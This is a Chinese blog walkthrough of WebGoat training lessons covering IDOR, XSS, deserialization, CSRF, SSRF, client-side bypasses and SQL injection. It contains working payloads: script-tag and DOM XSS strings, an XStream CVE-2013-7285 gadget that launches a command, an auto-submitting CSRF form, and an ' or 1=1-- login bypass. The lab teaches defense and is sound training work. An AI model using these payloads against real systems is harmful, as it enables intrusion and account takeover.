第一步让找到另外一个账户的profile,

第二步是修改这个账户更低的角色和喜欢的颜色为红色。先来看第一个任务,看其他用户的profile:

第一步点击图中第一个View Profile按钮,burpsuite抓包,找到下图所示的报文,send to intruder

 

intruder中,将上图中绿色的部分设置为payload position,attack type选sniper。

payload按下图这样设置,type为Numbers。

由于tom自己的userId是2342384,另一个用户估计不会离太远,一开始可以先把爆破范围设置小一点,比如像下图这样设置为2342370~2342999,步长为1.

 

 

 

答案为234388

下面来完成第二个任务:

把上图中对应的request报文send to repeater

然后按照下图修改3个地方:

(1)请求方法从GET改为PUT

(2)Content-type改成application/json

(3)请求内容中构造json格式的Buffalo Bill的profile,根据题目要求,role要设置为比3小的数,color要设置为brown。

 

修响应包中的json;,修改请求方法为PUT,一把过

 

 

 

 

6:介绍防止水平和垂直越权并且需要有日志记录或者用户身份签名。

 

7.2 Missing Function Level Access Control

1:访问控制,比如用输出编码阻止 XSS,可能很难维护。我们需要确保它在整个应用程序中得到适当的执行,因此在每个方法/函数中都是如此。

IDOR 与缺失的函数级访问控制

事实上,许多人(包括本课的作者)会将函数级访问控制和 IDOR 结合到“访问控制”中。为了 OWASP 的前10名和这些教训,我们将作出区分。最明显的区别是 IDOR 更多的是一个“水平”或“横向”访问控制问题,而缺少功能级别的访问控制“暴露了功能”。尽管这里的 IDOR 课程演示了如何公开功能(至少对于同一角色中的另一个用户) ,但是我们将研究公开功能的其他方式。

2:要求找到两个藏起来的菜单项

隐写低级版,f12查看元素即可

 

发现了一个隐藏的Admin大选项下面有两个带url的隐藏的小选项:Users和Config。

3: 让你先获取用户泄露的信息,再根据泄露的信息进行验证,提交自己的hash.

 

根据上一题的信息收集,我们得知了/users与/config链接,但是我直接访问IP/WebGoat/users没有任何可用的信息,查看左上角提示,请求/users时把content-type改为application/json

访问http://127.0.0.1:8080/WebGoat/users 抓包,重放

 

 

8 Cross-Site Scripting (XSS)

8.1 Cross Site Scripting

1:介绍xss

2: 问题:WebGoat范围内多个页面cookie是否一样?

alert(“XSS Test”);

alert(document.cookie);

目标是用浏览器,使用javascript伪协议,在输入框输入

javascript:alert(document.cookie)

然后问你,每个地方都输出的一样吗?肯定一样了

 

 

答案:yes

这个只是告诉你,可以这么来,不过现在浏览器基本都过滤了这种了。

3:最常见的地点

将搜索字符串回送给用户的搜索字段

回显用户数据的输入字段

返回用户提供的文本的错误消息

包含用户提供的数据的隐藏字段

显示用户提供的数据的任何页

留言板

自由形式的评论

HTTP 头

4 介绍XSS危害

5-6 XSS分类与利用场景

7; 这一题要求用alert()或者console.log()来试哪里有XSS

由于XSS最终是要浏览器渲染的,因此,可以先按下Purchase,看看哪个输入是会回显的

电话号码哪个输入框的输入参数是会回显的

在这个输入框中尝试输入

<script>alert('dreamer688')</script>

告警弹出,顺利过关

 

其实,购物车那也有“一元购”漏洞。

8-9:反射型和DOM型区别

在于是否经过后台服务器,经过就是反射,不经过就是DOM

 

10:这题要求找测试用的路径,并提示需要在JavaScript代码中寻找。

首先在WebGoat文件夹下找到js文件夹,然后js文件夹上右键search in folder

 

拿route搜一搜,搜到下图的3个结果,首先排除掉libs文件夹下的,剩下的两个看一下内容,goatApp.js内容很简单,看完之后也可以排除,下面可以重点看一下GoatRouter.js

 

Ctrl +f 查找route,发现有个定义路径的地方,有个叫test的路径,后面可以跟param参数,也和题目说的类似答案相似。试试提交答案:start.mvc#test。成功

 

11:这一题要求用上一页找到的路径实施DOM XSS攻击,在浏览器的console中获取到一串随机数。

这一题的目的就是利用start.mvc#test/路由执行phoneHome函数

题目里已经有提醒让我们利用上一题中找到的测试路径。好的,那么先尝试直接把函数贴到路径后面执行一下:

有了上一页的铺垫,这里直接构造payload:

 

http://127.0.0.1:8080/WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome()%3C%2fscript%3E

 

浏览器打开新标签页访问之后页面上没有显示什么,打开开发者工具,进入Console,可以看到要找的随机数,填入上图输入框并提交即可过关。

 

12:答案如下:

 

9 Insecure Deserialization

9.1 Insecure Deserialization

1-4:1-4

介绍了反序列化漏洞的产生,下面简单的说一下。

 

现在流行面向对象开发,万物皆对象(单身狗狂喜)

比如一个student对象有着很多属性,我们在用的时候可以这么赋值,以PHP为例

一个stu对象,有很多属性,name,sex等等,是json格式,如下

$stu1 = new Stu();

$stu1->name = “GGG”;

$stu1->sex = true;

$stu1->age = 18;

$stu1->score = 89.9;

这样的数据,很占空间,所以在临时存储时,会序列化成一种便于存储的字符串格式,如:

Array{“name”:“GGG”,“age”:18,“SEX”:true,“score”:89.9}

这样用的时候,再序列化回来,使用serialize() 和unserialize()函数来来回回转,这就是序列化和反序列化

分析一波

在反序列化的时候,要解析数据,如果需要解析的数据(name,sex字段等)用户可控,会是什么后果呢?

所以反序列化漏洞的本质是对象注入,范围是后台语言,就是后台语言能干啥,反序列化漏洞就能干啥,所以反序列化最明显的现象就是RCE(远程代码执行)或者远程命令执行(因为后台语言可以执行命令行)

 

5:这个题的意思是,下面的输入框存在反序列化漏洞,我们可以生成含有可执行代码的序列化字符串,贴到下面的输入框,下面的输入框就会进行反序列化,从而执行代码,题目要求是让页面延迟5s。(不会Java qwq)

 

10 Vulnerable Components

10.1 Vulnerable Components

1-4

引入供应链

什么是供应链攻击

从出口设备(网关)到核心设备(中间件)到应用,这条路上,有任何一个地方被攻破,这条路上就不安全,攻不进去应用,可以攻击中间件,攻不进去中间件, 可以看看F5,IPS等

开源组件已被广泛应用,tomcat,fastjson,weblogic等等

2013年的top10就已经开始关注中间件这类问题

当这一课开始时,WebGoat在其组件中包含了十几个高安全风险。其中大多数都不是经过深思熟虑的选择

5:jquery-ui 低版本的xss漏洞。这个题目也是提醒我们使用第三方组件的时候一定要小心,最好能在官网下载,Payload都帮你写好了。

 

6:安全开发,需要我们知道中间件的版本,安全的版本,受影响的版本,等等。。

7-11开源组件审核,确实很有必要,管好我们的maven库,组件建议都保持最新版本的

参考本文章vulhub,多学习学习中间件的漏洞吧

他给的payload,还说是webgoat给的执行不了,我也是笑了

 

12:此题目是CVE-2013-7285 (XStream)漏洞。漏洞说明http://x-stream.github.io/CVE-2013-7285.html

Poc

 

<sorted-set> 

 <string>foo</string>

 <dynamic-proxy>

   <interface>java.lang.Comparable</interface>

   <handler class="java.beans.EventHandler">

     <target class="java.lang.ProcessBuilder">

       <command>

         <string>ifconfig</string>

       </command>

     </target>

     <action>start</action>

   </handler>

 </dynamic-proxy>

</sorted-set>

11 Request Forgeries

11.1 Cross-Site Request Forgeries

1-2:介绍了跨站请求伪造攻击

3: 任务:下图的提交按钮会发送一个请求,这题的要求是在webgoat用户登录的情况下,从其他网站触发这个请求,以获取flag,提交flag即可通关。

前提:(1)webgoat用户需要登录(2)触发评论的页面需要在webgoat登录的浏览器上打开

挂8081burp抓包

 

修改csrf的false为ture,右键,选择engagement tools,选择csrf poc,然后test in browser,复制出来的url,去浏览器打开,并把代理切换回无需代理或者burp的代理(即8080)

 

 

 

 

4:任务:从其他网站以当前用户身份提交一条评论

前提:(1)webgoat用户需要登录(2)触发评论的页面需要在webgoat登录的浏览器上打开

 

不让提交,抓包,和上一题一样,不过不用修改true,出现提示,返回刷新看看评论有没有加载出来。

 

 

5-6:介绍CSRF的 防御,比如:大多数框架现在都默认支持防止CSRF。例如,对于Angular,拦截器默认从cookie读取令牌XSRF-token并将其设置为HTTP头X-XSRF-token。由于只有在域上运行的代码才能读取cookie,所以后端可以确定HTTP请求来自客户端应用程序,而不是攻击者。

为了使其正常工作,后端服务器在cookie中设置令牌。不应将此cookie的值标记为只读取此cookie的值。每次向服务器发出请求时,Angular都会将令牌作为HTTP头放入X-XSRF-token中。服务器可以验证这两个令牌是否匹配,这将确保服务器请求在同一个域上运行。

要点:定义一个单独的COOKIE,不要重用会话COOKIE

请记住,会话cookie应始终使用http only标志进行定义。

l 自定义标头不安全

另一种防御方法是为每个调用添加一个自定义请求头。如果与服务器的所有交互都是用JavaScript执行的,这就可以了。在服务器端,您只需要检查这个头是否存在,如果这个头不存在,就拒绝请求。有些框架在默认情况下提供了这种实现,但是研究人员alexinfuhr发现这也可以绕过。你可以阅读:Adobe Reader PDF-客户端请求注入

貌似,改这个字段是有效的方法

Content-Type

7:任务:从其他网站向webgoat服务器发送题目中的JSON消息

前提:(1)webgoat用户需要登录(2)触发评论的页面需要在webgoat登录的浏览器上打开

XHR

全称 XMLHttpRequest是一种用于与服务器进行交互的浏览器API,通过XHR可以在不刷新页面的情况下请求特定URL,获取数据。在载入json数据时,就需要用到 XHR对象。

CORS

全称Cross Resource Share 跨域资源共享,是一种基于HTTP头的机制,用于标识出浏览器可以访问哪些不同源的域、协议和端口。

CORS允许浏览器向跨源服务器发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

CORS包含了一种预检请求的机制,预检的作用就是把将要发送的HTTP请求去掉body,只保留请求头发送,以此来检测服务器是否允许该请求。预检请求的方法就是OPTIONS。

简单请求
满足以下条件:

  1. 请求方法为以下三种:
    • HEAD
    • GET
    • POST
  2. HTTP头信息不超出以下字段:

Accept

Accept-Language

Content-Language

Last-Event-ID

Content-Type:必须为这三个值其一 application/x-www-form-urlencoded、multipart/form-data、text/plain

对于简单请求,浏览器会在请求头中包含一个Origin字段,标明此请求的来源,如果服务器认为该来源不在许可的范围内,则会返回一个不包含Access-Control-Alllow-Origin的字段,浏览器就会发现请求出错。如果请求来源在许可范围内,服务器将返回包含以下字段的响应:

Access-Control-Allow-Origin: http://api.bob.com /*值为*或者Origin字段的值/

Access-Control-Allow-Credentials: true /*表示是否允许发送Cookie)

Access-Control-Expose-Headers: FooBar /*表示getResponseHeader()方法可以拿到其他字段的值

Content-Type: text/html; charset=utf-8

非简单请求就是不满足上述两个条件的其他请求,例如使用POST、DELETE方法,content-Type为application/json。

非简单请求在执行正式请求之前会以OPTIONS方法发送一个预检请求,这个预检请求就是把真实的请求头单独拉出来,先进行一次查询,探测服务器是否允许来自当前域名的请求以及可以使用哪些HTTP动词和头信息字段。只有获得服务器的允许答复,浏览器才会发出正式的请求。

回到题目:
我们如果直接提交包含json数据的请求,是非简单请求,就需要经过CORS预检,然而CSRF是一个跨域提交的漏洞。因此这道题目有两种场景:

  • 未验证Content-Type:在form中拼接json数据提交
  • 验证Content-Type

 

抓包发现该包不满足简单请求的两条件,为post请求,且content-Type为application/json,故为非简单请求。

然后尝试第一种未验证的方式,
在本地新建一个html网页,按它的要求,输入post方法,将消息发送到这个网页,获得flag

<form name="attack" enctype="text/plain" action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" METHOD="POST">

<input type="hidden" name='{"name": "WebGoat", "email": "webgoat@webgoat.com", "subject": "service", "message":"WebGoat is the best!!"}'>

</form>

<script>document.attack.submit();</script>

 

 

8:

本题题意是指webgoat本身有攻击者了,它已经获取了一个类似你的用户,叫csrf-admin123,先登录这个账号,密码是一样的,然后在本页点击solved!,然后登录自己原来的号就通关了(其实不用,下面有好玩的)!

 

好玩的是,在第二个账户上点击这个按钮也能通关,并且在账号1如果不重新登录根本点不了这个按钮,因为使用csrf用户登录需要先让原本的用户退出登录,而页面2上原本的用户退出了登录,页面1也会自动跳转到登录页面了。

 

 

11.2 Server-Side Request Forgery

本节主要讲述了在服务器端请求伪造(SSRF)攻击中,攻击者可以滥用服务器上的功能来读取或更新内部资源。攻击者可以提供或修改服务器上运行的代码将读取或提交数据的URL,通过仔细选择URL,攻击者可以读取服务器配置,如AWS元数据,连接到内部服务(如启用http的数据库),或对不打算公开的内部服务执行post请求。

2:​ 本题的意思非常明确了,就是抓包修改URL,使得获取对应于jerry图片的url,那么我们直接修改请求里的url,即:url=images%2Fjerry.png

 

 

3:​ 本题题意是修改URL,显示ifconfig.pro的配置页面,直接修改成ifconfig.pro不行,得在前面加http://

 

12 Client side

12.1 Bypass front-end restrictions

用户在很大程度上可以控制web应用程序的前端。它们可以修改HTML代码,有时也可以修改脚本。这就是为什么需要特定格式输入的应用程序也应该在服务器端进行验证。

1;​ 本题的任务是发送一个请求,绕过全部4个字段的限制。直接抓包,然后改每个字段的请求值,改成超过字段的限制值即可,如图所示,修改后提交请求就通过了

 

2:与第一题是一样的,同样抓包修改请求,输入破坏正则表达式的输入值即可

 

12.2 Client side filtering

在本课程中,向客户端发送的信息太多,造成了严重的访问控制问题。在本练习中,您的任务是利用服务器返回的无关信息来发现您不应该访问的信息。

2:本题的要求是作为CSO,可以看到除CEO(Neville Bartholomew)之外的其他员工的工资,没有权限看CEO的工资

任务:找到CEO(Neville Bartholomew)的工资

 

先尝试任选一个人物抓包,发现没有请求,猜测为静态页面,我们仔细地检查网页元素,在一个tbody里找到了标号112的一个nev的工资单,填入450000(老板钱真多)即可完成通关。

 

 

3:​ 本题的意思应该是找到对应的checkout code就可以通过了.先用上一题的思路跑一遍,结果在开发者工具里找到3个打折的checkout code,但是不能free,所以还得尝试抓包,抓到一个coupons优惠卷的包,send to repeater开始跑,得到如图所示的response,里面有我们想要的折扣100的code : get_it_for_free

 

 

 

12.3 HTML tampering

2:很简单,题目让我们以更低的价格去购买这个电视

思路:直接点击check bp抓包改包,当然也可以修改html代码,虽然比改包麻烦。

 

3:讲的是,服务器端一般都有严格检测,html这种方式实战基本没有。

13 Challenges

13.1 Admin lost password

1;介绍CTF

2;通过admin的密码。得到flag。

思路:第一个想到的就是爆破密码,但比较耗时间。后面看到了一种图片隐写方法,把这题的图片另存,用nodepad或者记事本打开图片.查找admin。8848钛金手机!

 

 

13.2 Without password

1:任务:以用户名Larry登录

 

思路:1、可能可以利用登录功能的逻辑漏洞,比如删掉password参数直接登录。

2、可能可以利用找回密码功能的逻辑漏洞获得密码。

3、可能可以利用sql注入漏洞使用万能密码登录。

4、可能可以利用sql注入漏洞获得用户的密码。

5、可能可以尝试暴力破解弱密码。

抓包分析挨个试

 

把password参数删除并发送,返回状态码400,看来这条路是行不通了

 

不行,点击找回密码也没有请求包,这路也行不通,试试用户名万能密码,用户名输入Larry' or 1=1-- ss有没有SQL注入。(也不行)

 

试试在password那儿用万能密码行不行。先随便填个用户名密码,点Log In,用burpsuite抓个包,send to repeater。

username_login的值改为Larry,password_login的值改为123'+or+1=1--+ss,发送之后即可获得本关的flag,将flag填入填写flag的输入框并提交即可过关。

 

注意点:几个注意点:

1、由于本关是POST方法提交表单,所以空格也不一定要写成+,如果是GET方式提交的表单,就需要注意burpsuite中需要用+替代空格了

2、注意各个数据库进行注释的方法不一样,比较通用的单行注释方法是--,不过有的数据库中--后面必须有一个空格,而有的数据库不需要有空格(比如这题其实就不需要空格)。也可以试试不用注释,比如这题还有个可行的payload是password_login=123'+or+'1'='1

3、这题的报错信息会暴露整个sql语句,处理报错信息需要当心。

13.3 Admin password reset

1:题目让重置admin密码

看了看攻略是git泄露,需要反编译,目前不会

13.4 Without account(无凭证)

题目:让我们打分

但点击打分发现打不了,打开burpsuite准备抓包,点一下Average user rating下面的随便哪个小星星。

 

这个请求报文上面除了cookie,似乎没有关于身份认证的东西了,这个cookie看着是webgoat的全站cookie,和这题也没啥关系。

看了看攻略,原来是要修改请求头为HEAD。得到flag,提交即可。

 

原理:如何用HEAD方法绕过VBAAC?

       HEAD方法用于获取与GET类似但没有响应体的结果。假设应用程序中的一个URL受到安全约束的保护,这些约束仅使用GET和POST限制对/Auth目录的访问。

       如果您使用浏览器代理(如BurpSuite)截获请求并通过更改GET to HEAD方法来创建它,因为HEAD方法未列在安全约束中,所以请求不会被阻止。因此adduser函数将被成功调用,并且由于HEAD的原因,您将在浏览器中得到空响应

       使用任意HTTP动词()verb)大多数平台都允许使用任意HTTP动词,如PHP、javaee。这些方法的执行方式类似于GET请求,这使您能够绕过相同的请求。最重要的是,使用任意方法响应不会被剥离,因为它是头部方法。你可以很容易地看到内部页面。用任意方法代替HEAD方法可以查看页面源代码。

       一个HEAD请求的响应可被缓存,也就是说,响应中的信息可能用来更新之前缓存的实体。如果当前实体跟缓存实体的阈值不同(可通过Content-Length、Content-MD5、ETag或Last-Modified的变化来表明),那么这个缓存就被视为过期了。

 

 

 

 

完结了!虽然还有挺多问题没有解决,以后有思路了,会回来再修改一波。“仙道莽莽,人道苍苍”,安全之路,任重道远,以梦为马,不负韶华。加油,dreamer们!

posted @ 2022-08-29 14:56  Hndreamer  阅读(2476)  评论(1编辑  收藏  举报
#百度统计#